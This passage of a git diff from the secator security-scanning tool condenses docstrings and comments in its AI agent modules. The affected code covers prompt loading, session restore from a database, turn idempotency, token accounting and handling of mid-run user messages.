crud.answer_ai_prompt's "latest pending" collide (M10). - FLAG: a DB-layer TTL index on pending Ai docs is the durable follow-up. + Called before a new prompt persists, so stale 'pending' docs (e.g. from a + worker that died mid-poll) don't strand the UI or collide with + crud.answer_ai_prompt's "latest pending" (M10). FLAG: a DB-layer TTL index + on pending Ai docs is the durable follow-up. """ if not self.query_engine: return diff --git a/secator/ai/prompts.py b/secator/ai/prompts.py index 4a0d87bac..d7c9ee9ba 100644 --- a/secator/ai/prompts.py +++ b/secator/ai/prompts.py @@ -20,17 +20,8 @@ def load_prompt(path: str) -> str: - """Load a prompt file and resolve ${includes} from common/. - - Include syntax: ${common_name} resolves to common/.txt content. - Standard $variable substitution is handled later by string.Template. - - Args: - path: Relative path within the prompts directory (e.g. 'modes/attack.txt') - - Returns: - Prompt string with includes resolved. - """ + """Load a prompt file and resolve ${includes} from constraints/*.txt (standard + $variable substitution happens later via string.Template).""" filepath = PROMPTS_DIR / path content = filepath.read_text() @@ -76,14 +67,8 @@ def _resolve(match): def get_mode_config(mode: str) -> dict: - """Get full config for a mode. - - Args: - mode: The mode name (attack, chat, exploit) - - Returns: - Mode configuration dict with system_prompt, allowed_actions, max_iterations - """ + """Get full config (system_prompt, allowed_actions, max_iterations) for a + mode; unknown modes fall back to chat's config.""" return MODES.get(mode, MODES["chat"]) @@ -96,17 +81,8 @@ def _format_opt_type(opt_config: dict) -> str: def _build_runner_reference(config_type: str) -> str: - """Build compact runner reference: name|description|opts|meta:meta_opt_names. - - Meta options (shared across tools) are listed by name only since their - definitions appear in the META_OPTIONS section. - - Args: - config_type: 'task' or 'workflow' - - Returns: - Formatted reference string. - """ + """Build compact runner reference: name|description|opts|meta:meta_opt_names + (meta options listed by name only; defined in the META_OPTIONS section).""" from secator.loader import get_configs_by_type from secator.template import get_config_options @@ -221,16 +197,9 @@ def build_query_types() -> str: def get_system_prompt(mode: str, workspace_path: str = "", backend=None) -> str: - """Get system prompt for mode with library reference filled in. - - Args: - mode: One of "attack", "chat", or "exploit" - workspace_path: Path to the workspace/reports directory - backend: Optional interactivity backend to determine interaction rules - - Returns: - Formatted system prompt string - """ + """Get the system prompt for a mode with the library reference filled in; + backend (if given) determines the interaction rules appended for + non-interactive modes.""" if mode not in MODES: from secator.rich import console from secator.output_types import Warning @@ -283,18 +252,8 @@ def get_system_prompt(mode: str, workspace_path: str = "", backend=None) -> str: def format_tool_result(name: str, status: str, count: int, results: Any, max_items: int = 100) -> str: - """Format tool result as compact JSON, truncating results if too many. - - Args: - name: Tool/task name - status: Execution status (success/error) - count: Number of results - results: Full results from the action - max_items: Maximum number of result items to include (default 100) - - Returns: - Compact JSON string - """ + """Format a tool result as compact JSON, truncating results (and flagging + truncated/total_count) past max_items.""" truncated = False if isinstance(results, list) and len(results) > max_items: results = results[:max_items] @@ -318,15 +277,7 @@ def format_tool_result(name: str, status: str, count: int, results: Any, max_ite def format_continue(iteration: int, max_iterations: int, instruction="continue") -> str: - """Format continue message as compact JSON. - - Args: - iteration: Current iteration number - max_iterations: Maximum iterations allowed - - Returns: - Compact JSON string - """ + """Format a "continue" loop message as compact JSON.""" return json.dumps({ "iteration": iteration, "max": max_iterations, diff --git a/secator/ai/session.py b/secator/ai/session.py index 5d3652e23..8192ce73b 100644 --- a/secator/ai/session.py +++ b/secator/ai/session.py @@ -11,13 +11,7 @@ def save_history(history, reports_folder, debug_fn=None): - """Save chat history to reports folder. - - Args: - history: ChatHistory instance. - reports_folder: Path to reports folder. - debug_fn: Optional debug function for logging. - """ + """Save chat history to reports/history.json; best-effort, warns via debug_fn or console on failure.""" try: history_path = Path(reports_folder) / 'history.json' with open(history_path, 'w', encoding='utf-8') as f: @@ -32,14 +26,8 @@ def save_history(history, reports_folder, debug_fn=None): def list_sessions(max_sessions=20): - """Scan reports folders for AI sessions with history.json. - - Args: - max_sessions: Maximum number of sessions to return. - - Returns: - list: Session dicts sorted by mtime (most recent first), capped at max_sessions. - """ + """Scan reports folders for AI sessions with history.json; return dicts + sorted by mtime (most recent first), capped at max_sessions.""" sessions = [] pattern = str(Path(CONFIG.dirs.reports) / '*/tasks/*/history.json') for history_path_str in glob.glob(pattern): @@ -61,10 +49,8 @@ def list_sessions(max_sessions=20): first_prompt = item.get('content', '') session_name = (item.get('_context') or {}).get('session_name', '') or (item.get('_context') or {}).get('name', '') break - # session_id: first non-empty `_context.session_id` across ALL ai docs - # (not just prompt docs) -- every persisted item stamps it (see - # ai.py:_init_options), so any doc suffices. Needed so a resumed run - # can adopt this session's id instead of minting a fresh one. + # session_id: first non-empty `_context.session_id` across ALL ai docs (every + # persisted item stamps it) -- lets a resumed run adopt this session's id. session_id = '' for item in ai_items: sid = (item.get('_context') or {}).get('session_id', '') @@ -91,11 +77,7 @@ def list_sessions(max_sessions=20): def show_session_picker(): - """Show interactive menu to pick a session to resume. - - Returns: - dict: Selected session dict, or None if cancelled. - """ + """Show interactive menu to pick a session to resume; returns the selected session dict, or None if cancelled.""" from secator.rich import InteractiveMenu sessions = list_sessions() @@ -137,14 +119,9 @@ def show_session_picker(): def print_session_results(session): - """Print a prior session's persisted results (findings + ai turns) to the - console in ``_timestamp`` order — the visible "here's where you left off" - replay shown on resume. Reads the session's ``report.json``; best-effort - (never raises), so a resume is never blocked by a display error. - - Args: - session: Session dict from show_session_picker (uses ``report_path``). - """ + """Print a prior session's persisted results in ``_timestamp`` order -- the + "here's where you left off" replay shown on resume. Reads ``report.json``; + best-effort (never raises) so a display error can't block a resume.""" from secator.output_types import OUTPUT_TYPES report_path = session.get('report_path') @@ -173,14 +150,7 @@ def print_session_results(session): def replay_session(session): - """Replay all results from a previous session and restore history. - - Args: - session: Session dict from show_session_picker. - - Returns: - ChatHistory: Restored history, or None on error. - """ + """Replay all results from a previous session and restore history; returns None on error.""" from secator.ai.history import ChatHistory # Show the prior conversation + findings on the console @@ -202,51 +172,20 @@ def replay_session(session): def restore_history_from_db(session_id, query_engine, model=None, encryptor=None, system_prompt=None): """Rebuild an in-memory ChatHistory from the workspace's `_type:"ai"` Mongo docs. - Headless equivalent of ``replay_session`` for the remote (web) path: a - respawned ``ai`` task on a different worker pod has no local report files, so - the conversation is rebuilt from the channel docs themselves (queried by - ``session_id``, ordered by ``_timestamp``). - - This is a **faithful, valid litellm transcript continuation** for docs - carrying a raw litellm ``message`` dict (persisted by Tasks 2-3 for every - prompt/assistant/tool_result turn, including tool_calls and tool_call_id - pairing): each persisted message is appended verbatim, in ``_timestamp`` - order. Internal loop nudges (the synthetic "continue"/"retry" ``user`` - prompts the run appends to live history but never persists as docs) are not - restored and so are omitted here — the result is therefore NOT literally - byte-identical to the live in-memory history, but it stays a valid transcript - (a clean tool→assistant continuation the model can resume from). Persisted - ``message.content`` is already encrypted (the encryption happens at persist - time, not at read time), so it is NOT re-encrypted here — doing so would - double-encrypt it. - - Docs from before this feature shipped don't carry a ``message`` field at - all (only the human-readable ``content`` used for the channel/report - display). Those fall back to the legacy **text-only** reconstruction: only - ``ai_type="prompt"``/``"response"`` docs become ``user``/``assistant`` - messages (re-encrypted here, since their plaintext ``content`` was never - encrypted at persist time), and intermediate tool-call/tool-result activity - is collapsed away (it was never captured verbatim pre-upgrade). - - Ordering assumption: a single session is either entirely message-carrying - (post-upgrade) or entirely legacy (pre-upgrade) — sessions aren't upgraded - mid-conversation. So it is safe to restore all message-docs first (in - their own timestamp order) and then append any legacy docs (in their own - timestamp order); within a real session only one of the two groups will be - non-empty, so this two-pass split never reorders an actual transcript. + Headless equivalent of ``replay_session`` for the remote path: a respawned + ``ai`` task has no local report files, so history is rebuilt from the + channel docs (queried by ``session_id``, ordered by ``_timestamp``). - Args: - session_id: The conversation's session id (UUID generated by the UI). - query_engine: A ``QueryEngine`` (must resolve to the workspace Mongo - backend for the docs to be visible). - model: Optional LLM model name to set on the returned history. - encryptor: Optional ``SensitiveDataEncryptor``, used only for the legacy - text-only fallback (message-docs are already encrypted verbatim). - system_prompt: Optional system prompt to set as the first message. + Post-upgrade docs carry a raw litellm ``message`` and are appended verbatim + (already encrypted at persist time -- do NOT re-encrypt, or it double-encrypts). + Legacy docs (no ``message`` field) fall back to text-only prompt/response/steer + reconstruction, re-encrypted here since their plaintext was never encrypted at + persist time; other legacy ai_types are UX artifacts and are skipped. A session + is never a mix of the two, so restoring each group in its own timestamp order + never reorders an actual transcript. Returns: - ChatHistory: The rebuilt history (possibly with only a system prompt if - no prior docs exist). + ChatHistory: rebuilt history (system-prompt-only if no prior docs exist). """ from secator.ai.history import ChatHistory from secator.ai.encryption import maybe_encrypt @@ -284,9 +223,8 @@ def restore_history_from_db(session_id, query_engine, model=None, encryptor=None elif ai_type == 'response': history.add_assistant(maybe_encrypt(content, encryptor)) elif ai_type == 'steer': - # A mid-flight steer is a real user turn (an interjection that - # redirected the run): preserve it as a user message on respawn so the - # redirect survives a history restore. Mirror the live-loop framing. + # A mid-flight steer is a real user turn: preserve it as a user message on + # respawn (mirroring the live-loop framing) so the redirect survives a restore. history.add_user(maybe_encrypt(f'[User interjected]: {content}', encryptor)) # All other ai_types (action displays, follow_up/permission prompts, # shell_output, summaries) are channel/UX artifacts, not conversation diff --git a/secator/ai/tools.py b/secator/ai/tools.py index 115f50d83..9003a5c38 100644 --- a/secator/ai/tools.py +++ b/secator/ai/tools.py @@ -172,16 +172,8 @@ def build_tool_schemas(mode: str, is_subagent: bool = False, backend=None) -> list: - """Return list of tool schemas filtered by mode's allowed_actions. - - Args: - mode: The AI mode (attack, chat, exploit). Unknown modes fall back to chat. - is_subagent: If True, exclude follow_up tool (legacy compat). - backend: Optional interactivity backend for exclusion/extra tools. - - Returns: - List of OpenAI-format tool schema dicts. - """ + """Return tool schemas filtered by mode's allowed_actions (unknown modes fall + back to chat), minus is_subagent/backend exclusions plus any backend extra tools.""" config = get_mode_config(mode) allowed_actions = config["allowed_actions"] excluded = set() @@ -202,16 +194,10 @@ def build_tool_schemas(mode: str, is_subagent: bool = False, backend=None) -> li def coerce_stringified_args(tool_name: str, arguments: dict) -> dict: """Coerce args the model serialized as JSON strings back to their declared type. - Some providers stringify nested object/array parameters even when the tool - schema says ``type: object`` / ``array`` (e.g. ``opts`` or ``query`` arriving - as a JSON string). Downstream handlers then call ``.get()`` / ``**opts`` / - ``.items()`` on a ``str`` and raise ``AttributeError`` — or silently drop the - value (``_sanitize_child_opts`` returns ``{}`` for a non-dict). Parse any such - arg once, here at the tool-call boundary, so every consumer gets the declared - type. Best-effort: an unparseable value is left as-is so the handler can return - a clean error rather than crash. - - Must run BEFORE arg decryption — ``_decrypt_dict`` would otherwise treat a + Some providers stringify object/array params (e.g. ``opts``/``query``) even + though the schema declares them as such; downstream handlers then crash or + silently drop them. Parse once here, best-effort (left as-is if unparseable). + Must run BEFORE arg decryption, or ``_decrypt_dict`` would treat the stringified object as a single encrypted value. """ if not isinstance(arguments, dict): @@ -227,24 +213,15 @@ def coerce_stringified_args(tool_name: str, arguments: dict) -> dict: def tool_call_to_action(tool_name: str, arguments: dict) -> dict | None: - """Convert a tool call to an action dict compatible with existing action handlers. - - Args: - tool_name: The tool function name from the LLM response. - arguments: The parsed arguments dict from the LLM response. - - Returns: - Action dict with "action" key added, or None for unknown tools. - """ + """Convert a tool call to an action dict compatible with existing action + handlers; returns None for unknown tools.""" action_type = TOOL_ACTION_MAP.get(tool_name) if action_type is None: return None if not arguments: return None - # A model may emit non-object arguments (a bare JSON int/array/string, e.g. - # `12345` or `["nmap"]`). `.items()` below would raise AttributeError and abort - # the whole loop — reject cleanly instead so the caller feeds an error back and - # the conversation continues. + # A model may emit non-object arguments (bare JSON int/array/string) -- `.items()` + # below would raise and abort the loop, so reject cleanly and let the caller retry. if not isinstance(arguments, dict): return None safe_arguments = {k: v for k, v in arguments.items() if k not in {"action", "description"}} diff --git a/secator/tasks/ai.py b/secator/tasks/ai.py index 8782170a4..6ed57a012 100644 --- a/secator/tasks/ai.py +++ b/secator/tasks/ai.py @@ -73,13 +73,9 @@ class ai(PythonRunner): "prompt": {"type": str, "default": "", "short": "p", "help": "Prompt"}, "mode": {"type": str, "default": "", "help": f"Mode: {', '.join(MODES)}"}, # D2: derive from MODES, don't drift "model": {"type": str, "default": CONFIG.addons.ai.default_model, "help": "LLM model"}, - # Never set a secret/CONFIG value as a task-option `default`: secator-api - # serves task opts (including defaults) to the UI, so a CONFIG default - # would leak the platform's LLM API key into the runner form. Default to - # empty; the task falls back to CONFIG.addons.ai.* at runtime in - # _init_options (api_key = passed or CONFIG.addons.ai.api_key). The - # user-supplied value is still `sensitive` so it's redacted from serialized - # runner state (run_opts/cmd) even though it's never a default. + # Never default this to CONFIG.addons.ai.api_key: secator-api serves task opts + # (incl. defaults) to the UI, which would leak the key into the runner form. + # Falls back to CONFIG at runtime instead; still `sensitive` so it's redacted. "api_key": {"type": str, "default": "", "sensitive": True, "help": "API key for LLM provider (defaults to configured key)"}, # noqa: E501 "api_base": {"type": str, "default": "", "help": "API base URL (defaults to configured base)"}, "sensitive": {"is_flag": True, "default": True, "help": "Encrypt sensitive data"}, @@ -210,21 +206,13 @@ def yielder(self) -> Generator: self.session_name = session["name"] self._reports_folder = session['folder'] if session.get("session_id"): - # New-format session (has a stamped session_id): adopt the prior - # conversation's id (instead of minting a fresh str(self.id)) so - # appended docs continue under it and a later resume can still find - # this run's turns via `_context.session_id`, and rebuild via the - # unified restore over the local query engine. + # New-format session: adopt the prior session_id (instead of a fresh + # str(self.id)) so appended docs continue the same `_context.session_id`. self.session_id = session["session_id"] self.context["session_id"] = self.session_id - # restore_history_from_db seeds the system message from `system_prompt`. - # No new prompt exists yet at this point (it's asked interactively - # below), so seed the same "chat" default `_detect_mode()` falls back - # to when there's nothing to classify; the user's next answer - # re-detects the real mode via `_prompt_and_redetect` -> - # `_detect_mode(force=True)`, which overwrites the system message in - # history regardless (mirrors `_maybe_resume_remote`'s ordering: - # mode / system_prompt resolved before the restore call). + # restore_history_from_db seeds system_prompt; no prompt exists yet (asked + # interactively below), so seed the same "chat" default `_detect_mode()` + # uses — the user's next answer re-detects the real mode and overwrites it. self.mode = self.mode or "chat" self.system_prompt = get_system_prompt(self.mode, workspace_path=str(self.reports_folder), backend=self.backend) self.tool_schemas = build_tool_schemas(self.mode, is_subagent=self.is_subagent, backend=self.backend) @@ -236,11 +224,9 @@ def yielder(self) -> Generator: # the legacy path, so print it here to keep resume UX consistent). print_session_results(session) else: - # Legacy session (pre session_id-stamping): its `_type:"ai"` docs - # carry no `_context.session_id`, so the unified restore's nested - # session_id filter would exclude them and rebuild an empty history. - # Fall back to the local `history.json` replay, which reads the file - # directly and works for legacy sessions. + # Legacy session: its docs carry no `_context.session_id`, so the unified + # restore would rebuild empty history. Fall back to the local + # history.json replay instead. self.history = replay_session(session) if self.history is None: yield Error(message="Failed to restore session.") @@ -305,21 +291,16 @@ def yielder(self) -> Generator: def _get_query_engine(self): """Build a workspace-scoped QueryEngine from the runner context. - The backend (mongodb/api/local) is resolved from ``context['drivers']`` - via ``QueryEngine._select_backend``. For the remote channel the API - appends the ``mongodb`` driver on dispatch, so this resolves to the - workspace Mongo backend. - """ + Backend (mongodb/api/local) resolves from ``context['drivers']``; the + remote channel appends ``mongodb`` on dispatch.""" from secator.query import QueryEngine return QueryEngine(self.context.get("workspace_id", ""), context=dict(self.context)) def _maybe_resume_remote(self): """Restore chat history from Mongo when a remote session has prior docs. - Returns True (via generator return) if this turn was fully handled as a - respawn (history restored, loop run), False to fall through to a fresh - conversation. Yields any items produced along the way. - """ + Returns True if the turn was fully handled as a respawn, False to fall + through to a fresh conversation.""" query_engine = self._get_query_engine() # Guard: remote interactivity requires a Mongo-backed query engine, else @@ -333,11 +314,9 @@ def _maybe_resume_remote(self): '`mongodb` driver is in the runner context.' ) - # C3: skip replay of an already-completed turn. acks_late can redeliver - # this exact message (same celery_id) after a worker crash; without an - # idempotency marker the resume path would re-run every tool action and - # re-bill tokens. If this turn already completed, short-circuit instead of - # replaying _run_loop. + # C3: skip replay of an already-completed turn — acks_late can redeliver the + # same celery_id after a worker crash; without this marker we'd re-run every + # tool action and re-bill tokens. turn_uuid = self._turn_uuid() if turn_uuid and self._turn_completed_marker(turn_uuid, query_engine): self.debug(f'C3 idempotency: turn {turn_uuid} already completed; skipping replay', sub='llm') @@ -386,11 +365,8 @@ def _maybe_resume_remote(self): return True def _save_history(self): - """Persist chat history to the local reports folder, unless on the remote path. - - For the remote (web) channel the workspace Mongo `_type:"ai"` docs are the - source of truth, so the local `history.json` write is skipped. - """ + """Persist chat history locally, unless on the remote path (where the + workspace Mongo `_type:"ai"` docs are the source of truth instead).""" if self.interactive == "remote": return save_history(self.history, self.reports_folder, debug_fn=self.debug) @@ -402,10 +378,8 @@ def _save_history(self): def _turn_uuid(self): """Stable id naming THIS delivery's turn for idempotency. - ``celery_id`` (the Celery request id) is stamped on the runner context by - the worker entrypoint (``run_command``) and is the SAME across an acks_late - worker-loss redelivery, so it uniquely and idempotently names one turn. - """ + ``celery_id`` is stamped on the context by the worker entrypoint and stays + the same across an acks_late redelivery.""" return (self.context or {}).get("celery_id") def _turn_completed_marker(self, turn_uuid, query_engine): @@ -425,11 +399,9 @@ def _turn_completed_marker(self, turn_uuid, query_engine): def _mark_turn_completed(self): """C3: persist a turn-completion marker once the turn is durably done. - Remote channel only. Reuses the workspace `_type:"ai"` docs (no new - collection); restore_history_from_db skips this ai_type so it never enters - the transcript. Called by the caller AFTER `_run_loop` returns, so a crash - mid-turn leaves no marker and the partial turn still resumes. - """ + Remote only; reuses the workspace `_type:"ai"` docs (restore skips this + ai_type). Called after `_run_loop` returns, so a mid-turn crash leaves no + marker and the turn still resumes.""" if self.interactive != "remote": return turn_uuid = self._turn_uuid() @@ -600,11 +572,8 @@ def _run_loop(self) -> Generator: # Follow-up / content-only / max_iter → prompt user if follow_up_choices is not None or not tool_calls or iteration == self.max_iterations: - # Remote follow-up: the pending Ai (status="pending" + top-level choices + - # session_id) was already stamped and persisted as a single doc in - # _dispatch_and_collect (add_result dedupes by _uuid, so persistence can - # only happen once). Nothing to re-yield here — the frontend reads the - # persisted doc. + # Remote follow-up: the pending Ai doc was already stamped + persisted + # in _dispatch_and_collect (dedup by _uuid) — nothing to re-yield here. # H5: remote max-iter after tool work is a terminal turn (no further # user input expected) — don't block-poll on prompt_uuid=None with no @@ -654,10 +623,9 @@ def _run_loop(self) -> Generator: elif isinstance(e, litellm.APIConnectionError) or ( isinstance(e, litellm.InternalServerError) and 'connection error' in str(e).lower() ): - # Genuine connectivity failures (connection refused, DNS failure) surface in - # some litellm versions as InternalServerError("Connection error.") rather than - # APIConnectionError, so catch both and gate the latter on the connection message - # to avoid swallowing unrelated upstream 500 errors. + # Some litellm versions surface connectivity failures as InternalServerError + # instead of APIConnectionError, so catch both, gated by message to avoid + # swallowing unrelated upstream 500s. yield Error(message=f"Cannot connect to model '{self.model}': {e}") yield Error(message='Check api_base and connectivity: `secator config set addons.ai.api_base `') self._save_history() @@ -724,47 +692,32 @@ def _init_options(self): denied_targets=self.denied_targets, ) - # Per-run billed-token accounting. The platform billing chore reads - # `context.ai_tokens` (cumulative billed tokens) — the AI analog of - # `context.scan_hours`. Initialize on the runner context so it is - # persisted onto the task doc even if the run makes zero LLM calls. + # Per-run billed-token accounting (AI analog of context.scan_hours), read + # by the platform billing chore. Init so it persists even with zero LLM calls. self.context.setdefault("ai_tokens", 0) self.context.setdefault("ai_prompt_tokens", 0) self.context.setdefault("ai_completion_tokens", 0) self.context.setdefault("ai_cost", 0.0) - # Record the resolved model id used for this run so the platform metering - # chore can price the consumed tokens against the model registry (free - # vs paid, per-million in/out/cached rates). This is the *configured* - # model for the run; if the user switches model mid-session that change - # is out of scope (the configured model is recorded). Set unconditionally - # (not setdefault) so it reflects the option resolved in this _init. + # Record the resolved model id so the metering chore can price tokens against + # the model registry. Set unconditionally (not setdefault) — records the + # configured model even if the user switches mid-session. self.context["ai_model"] = self.model - # Create interactivity backend. - # For the remote (web) channel, the UI generates a stable session_id and - # reuses it verbatim on respawn so a respawned task finds its prior - # `_type:"ai"` docs. It arrives on the runner context (self.context) — - # the dispatcher sends self.context to the worker (task.py build_celery) - # and pops run_opts['context'], so self.context is authoritative here; - # run_opts['context'] only carries it for local/sync runs. + # Create interactivity backend. For remote (web), the UI reuses a stable + # session_id on respawn so a respawned task finds its prior docs; it arrives + # via self.context (authoritative — the dispatcher pops run_opts['context']). self.session_id = ( self.passed_context.get("session_id") or (self.context or {}).get("session_id") or self.session_name or str(self.id) ) - # Write the resolved session_id back onto the runner context so it is the - # single source of truth for the conversation id. Every persisted item - # copies `self.context` into its `_context` (Runner._process_item), so this - # stamps `_context.session_id` on ALL `_type:"ai"` docs — including the - # `prompt`/`response` turns yielded directly here, which otherwise carry no - # session_id (they don't go through `_get_result_context` like tool docs do). - # restore_history_from_db + the remote poll both key on `_context.session_id`, - # so without this a locally-resolved session_id (str(self.id)/session_name) - # leaves the transcript turns unqueryable and a resume restores nothing. - # On the platform the dispatcher already supplies session_id in the context, - # so self.session_id equals it and this is an idempotent write. + # Write session_id back onto the context: every persisted item copies + # self.context into `_context`, so this stamps `_context.session_id` on all + # `_type:"ai"` docs (incl. prompt/response turns yielded directly here). + # restore_history_from_db + the remote poll key on it, so skipping this + # would leave the transcript unqueryable and resume would restore nothing. if self.context is not None: self.context["session_id"] = self.session_id self.backend = create_backend(self.interactive, timeout=CONFIG.addons.ai.user_response_timeout) @@ -876,30 +829,12 @@ def _auto_approve_workspace_targets(self): # ------------------------------------------------------------------------- def _drain_steers(self): - """Drain pending mid-flight steers and inject them into the LLM history. - - A "steer" is a user message sent WHILE the agent is running (over the - remote/web channel: a pending ``_type:"ai", ai_type:"steer"`` doc written by - ``POST /ai/conversations/{id}/steer``). At the top of each loop iteration we - drain any pending steers for this session and append each to the history as - a ``[User interjected]: …`` user message so the model sees them on the next - turn. Cooperative — not a hard cancel (Stop already does that). - - The steer doc the API wrote is itself the persisted transcript entry (it - carries ``_context.session_id``, so the UI's transcript poll surfaces it as - an "interjected" user bubble). We deliberately do NOT yield a second - ``Ai(ai_type="steer")`` echo here — that would persist a duplicate doc with - the same content and double-render in the UI. ``poll_steers`` flips the - drained doc to ``status:"consumed"`` so it injects exactly once. - - Only the RemoteBackend has a channel to poll; for every other backend this - is a no-op. Robust: a steer must never crash the run, so all backend access - is best-effort and swallowed. - - Generator (``yield from``-compatible with the loop) — currently yields no - items, but kept a generator so future transcript echoes can be added without - changing the call site. - """ + """Drain pending mid-flight steers and inject them into LLM history. + + A steer is a user message sent while the agent runs (over the remote/web + channel); each is appended as a "[User interjected]" user message. No Ai + echo is yielded — the steer doc itself is the persisted transcript entry. + RemoteBackend-only; a no-op (generator) for every other backend.""" if not isinstance(self.backend, RemoteBackend): return try: @@ -967,10 +902,8 @@ def _summarize_user(self): def _process_tool_calls(self, tool_calls, ctx): """Parse, validate, and guardrails-check tool calls from LLM response. - Generator: yields Warning items and pending Ai prompts (for remote). - Returns list of validated action dicts via generator return. - Use: actions = yield from self._process_tool_calls(tool_calls, ctx) - """ + Generator: yields Warnings/pending Ai prompts; returns validated actions. + Use: actions = yield from self._process_tool_calls(tool_calls, ctx)""" actions = [] for tc in tool_calls: @@ -1067,20 +1000,16 @@ def _process_tool_calls(self, tool_calls, ctx): def _dispatch_and_collect(self, actions, ctx): """Dispatch actions, yield results, add to history. - Yields OutputType items. Returns dict with follow_up_choices, stop_reason, follow_up_ai. - Use: result = yield from self._dispatch_and_collect(actions, ctx) - """ + Yields OutputType items; returns dict with follow_up_choices/stop_reason/follow_up_ai.""" follow_up_choices = None stop_reason = None follow_up_ai = None follow_up_prompt_uuid = None is_batch = len(actions) > 1 - # safe_dispatch_action wraps each action's dispatch so a Python error during - # a handler (e.g. a malformed LLM action/opts raising TypeError) becomes an - # Error item fed back to the LLM as that tool call's result, instead of - # propagating out and killing the main loop. _run_batch already wraps each - # of its actions the same way internally. + # safe_dispatch_action wraps dispatch so a handler error becomes an Error item + # fed back to the LLM, instead of killing the main loop (_run_batch does the + # same internally for each of its actions). action_iter = _run_batch(actions, ctx) if is_batch else safe_dispatch_action(actions[0], ctx) collected = [] @@ -1095,22 +1024,17 @@ def _dispatch_and_collect(self, actions, ctx): if result.ai_type == "follow_up": follow_up_ai = result follow_up_choices = result.choices or (result.extra_data or {}).get("choices", []) - # Persist the follow-up doc in its FINAL renderable state. add_result() - # dedupes by _uuid, so once persisted here it can never be re-persisted - # (the later `yield follow_up_ai` in the main loop is dropped). For a - # remote run, stamp status="pending" + top-level choices + session_id - # BEFORE the single add_result, so the one persisted doc is what the web - # UI needs: status=="pending" (clears "thinking") and non-empty choices. + # Persist the follow-up doc in its FINAL renderable state (add_result + # dedupes by _uuid, so the later `yield follow_up_ai` is dropped). For a + # remote run, stamp status="pending" + choices + session_id first. if isinstance(self.backend, RemoteBackend): follow_up_ai.status = "pending" follow_up_ai.session_id = self.session_id if not follow_up_ai.choices and follow_up_choices: follow_up_ai.choices = list(follow_up_choices) - # Stamp a unique correlation id so the poll resolves ONLY this - # prompt's own answer (not a stale answered follow_up from a - # prior turn, which would loop). Generated here (not reusing - # _uuid, which mongo may reassign to its _id on insert) and - # persisted in extra_data so it round-trips on read. + # Stamp a unique correlation id so the poll resolves only this prompt's + # answer, not a stale one from a prior turn (not reusing _uuid, which + # mongo may reassign on insert). follow_up_prompt_uuid = str(uuid.uuid4()) follow_up_ai.extra_data = { **(follow_up_ai.extra_data or {}), "prompt_uuid": follow_up_prompt_uuid} @@ -1139,12 +1063,10 @@ def _dispatch_and_collect(self, actions, ctx): collected.append(result) ctx.results.append(result) - # Group results by tool_call_id and add to history. Use an order-preserving - # dict, NOT itertools.groupby: batch results (_run_batch) interleave by id, and - # groupby only groups *consecutive* keys — so an interleaved id yielded several - # groups and thus several tool_result messages for one tool_use, which the - # provider rejects ("multiple tool_result blocks with id X"). A dict groups all - # of an id's results together regardless of arrival order → exactly one result. + # Group by tool_call_id with an order-preserving dict, NOT itertools.groupby: + # batch results interleave by id, and groupby only groups consecutive keys, + # which would emit multiple tool_result messages for one tool_use (rejected + # by providers). budget = self.history.get_action_budget(self.model) fallback_path = Path(self.reports_folder) / "report.json" if self.reports_folder else None grouped = {} @@ -1189,13 +1111,8 @@ def _dispatch_and_collect(self, actions, ctx): def _account_usage(self, usage): """Accumulate billed token/cost usage from a single LLM call onto the runner context. - `usage` is the dict returned by `call_llm` - (`{"tokens", "prompt_tokens", "completion_tokens", "cost"}`) or None. - Missing/None usage counts as 0 so accounting never crashes the run. The - running total lives on `self.context["ai_tokens"]` (int, cumulative) which - is persisted onto the task doc and read by the platform billing chore. - `context["ai_prompt_tokens"]`/`["ai_completion_tokens"]` carry the split. - """ + `usage` is `call_llm`'s dict (or None, counted as 0). Running totals live on + `self.context["ai_tokens"]` etc., read by the platform billing chore.""" if not usage: return try: @@ -1224,9 +1141,8 @@ def _account_usage(self, usage): def _drain_history_usage(self): """Roll billed usage accrued by history summarization into context.ai_tokens. - `ChatHistory.compact` makes its own LLM calls and stashes their billed - usage on the history object; drain it here so it is counted exactly once. - """ + `ChatHistory.compact` stashes its own billed usage on the history object; + drain it here so it's counted exactly once.""" history = getattr(self, "history", None) if history is None: return @@ -1276,19 +1192,11 @@ def _add_assistant_to_history(self, content, tool_calls): def _prompt_and_redetect(self, choices, prompt_uuid=None): """Prompt user via backend and re-detect intent. - Works for all backends: CLIBackend shows rich menus, RemoteBackend - polls DB, AutoBackend returns None (exits). - - ``prompt_uuid`` correlates the (remote) poll to the SPECIFIC pending - follow_up doc this call raised, so a stale answered follow_up from a prior - turn can't resolve it (which would re-inject the old prompt and loop). - - Returns list of items to yield, or None to exit. - """ - # H5: plain-chat remote turns reach here with no pre-persisted pending doc - # (unlike the guardrail/follow-up path). Persist one now with a real - # prompt_uuid so the frontend can render/answer it and the poll matches only - # this prompt — never poll on prompt_uuid=None. + Works for all backends (CLI menus / remote DB poll / Auto returns None). + ``prompt_uuid`` scopes the remote poll to THIS pending doc, avoiding a stale + answer from a prior turn. Returns items to yield, or None to exit.""" + # H5: plain-chat remote turns reach here with no pre-persisted pending doc, + # so persist one now with a real prompt_uuid (never poll on prompt_uuid=None). if isinstance(self.backend, RemoteBackend) and not prompt_uuid: prompt_uuid = str(uuid.uuid4()) self.add_result(self.backend.build_pending_prompt( diff --git a/secator/tasks/command.py b/secator/tasks/command.py index bdecc54ea..0466f50eb 100644 --- a/secator/tasks/command.py +++ b/secator/tasks/command.py @@ -12,13 +12,9 @@ class command(Command): cmd = '' shell = True input_flag = None - # NOTE: input_types MUST be empty. A non-empty input_types makes the base - # _validate_inputs() (secator/runners/_base.py) run autodetect_type() on each input and - # DROP any whose detected type isn't in the list. A command line like "whoami" is - # autodetected as 'slug' (not 'str'), so [STRING] would silently strip most bare - # single-word commands -> empty inputs -> empty cmd -> FAILURE. An empty input_types - # short-circuits the type filter entirely, which is correct: a command line is not a - # typed scan target. + # NOTE: input_types MUST stay empty. A non-empty list makes _validate_inputs() + # autodetect each input's type and drop mismatches (e.g. "whoami" autodetects as + # 'slug', not 'str', so [STRING] would strip most bare commands -> empty cmd -> FAILURE). input_types = [] output_types = [] @@ -32,44 +28,19 @@ def _build_cmd(self): self.shell = True def is_installed(self): - """Arbitrary shell commands have no fixed binary to `which`/auto-install (the base - Command.is_installed() derives cmd_name from the class-level `cmd`, which is '' here). - Always report installed so the base yielder runs the input verbatim instead of trying - (and failing) to auto-install an empty command name. - """ + """Always report installed: there's no fixed binary to `which` (cmd_name derives + from the empty class-level `cmd`), so auto-install would wrongly fail.""" return True @classmethod def from_result(cls, command_line, output, return_code, *, start_time=None, end_time=None, context=None, hooks=None): - """Build a 